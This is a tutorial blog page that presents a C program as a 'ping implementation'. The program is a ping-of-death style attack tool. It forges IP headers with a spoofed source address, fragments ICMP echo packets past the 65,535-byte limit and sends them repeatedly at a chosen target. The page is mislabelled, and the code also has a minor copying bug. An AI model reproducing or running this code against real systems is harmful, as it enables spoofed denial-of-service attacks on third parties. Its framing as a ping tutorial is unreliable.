Ping Implementation using C Programming Language - BunksAllowed

BunksAllowed is an effort to facilitate Self Learning process through the provision of quality tutorials.

Community

Ping Implementation using C Programming Language

Share This
Source code
#include <stdio.h> #include <sys/types.h> #include <sys/socket.h> #include <netdb.h> #include <netinet/in.h> #include <netinet/in_systm.h> #include <netinet/ip.h> #include <netinet/ip_icmp.h> #include <string.h> #include <arpa/inet.h> int main(int argc, char *argv[]) { int s, i; char buffer[400]; struct ip *ip = (struct ip *) buffer; struct icmphdr *icmp = (struct icmphdr *) (ip + 1); struct hostent *host_db_entry, *host_db_entry_2; struct sockaddr_in destination; int offset; int on; int num_of_try = 100; if (argc < 3) { printf("\nUsage: %s <saddress> <destinationaddress> [number]\n", argv[0]); printf("- saddress is the spoofed source address\n"); printf("- destinationaddress is the target\n"); printf("- number is the number of packets to send, 100 is the default\n"); exit(1); } if (argc == 4) num_of_try = atoi(argv[3]); for (i = 1; i <= num_of_try; i++) { on = 1; bzero(buffer, sizeof(buffer)); if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { perror("socket() error"); exit(1); } if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) { perror("setsockopt() for IP_HDRINCL error"); exit(1); } if ((host_db_entry = gethostbyname(argv[2])) == NULL) { if ((ip->ip_dst.s_addr = inet_addr(argv[2])) == -1) { fprintf(stderr, "%s: Can't resolve, unknown host.\n", argv[2]); exit(1); } } else bcopy(host_db_entry->h_addr_list[0], &ip->ip_dst.s_addr, host_db_entry->h_length); if ((host_db_entry_2 = gethostbyname(argv[1])) == NULL) { if ((ip->ip_src.s_addr = inet_addr(argv[1])) == -1) { fprintf(stderr, "%s: Can't resolve, unknown host\n", argv[1]); exit(1); } } else bcopy(host_db_entry_2->h_addr_list[0], &ip->ip_src.s_addr, host_db_entry->h_length); printf("Sending to %s from spoofed %s\n", inet_ntoa(ip->ip_dst), argv[1]); ip->ip_v = 4; ip->ip_hl = sizeof *ip >> 2; ip->ip_tos = 0; ip->ip_len = htons(sizeof(buffer)); ip->ip_id = htons(4321); ip->ip_off = htons(0); ip->ip_ttl = 255; ip->ip_p = 1; ip->ip_sum = 0; destination.sin_addr = ip->ip_dst; destination.sin_family = AF_INET; icmp->type = ICMP_ECHO; icmp->code = 0; icmp->checksum = htons(~(ICMP_ECHO << 8)); for (offset = 0; offset < 65536; offset += (sizeof(buffer) - sizeof(*ip))) { ip->ip_off = htons(offset >> 3); if (offset < 65120) ip->ip_off |= htons(0x2000); else ip->ip_len = htons(418); if (sendto(s, buffer, sizeof(buffer), 0, (struct sockaddr *) &destination, sizeof(destination)) < 0) { fprintf(stderr, "offset %d: ", offset); perror("sendto() error"); } else printf("sendto() is OK.\n"); if (offset == 0) { icmp->type = 0; icmp->code = 0; icmp->checksum = 0; } } close(s); usleep(30000); } return 0; }

Happy Exploring!

No comments:

Post a Comment

Note: Only a member of this blog may post a comment.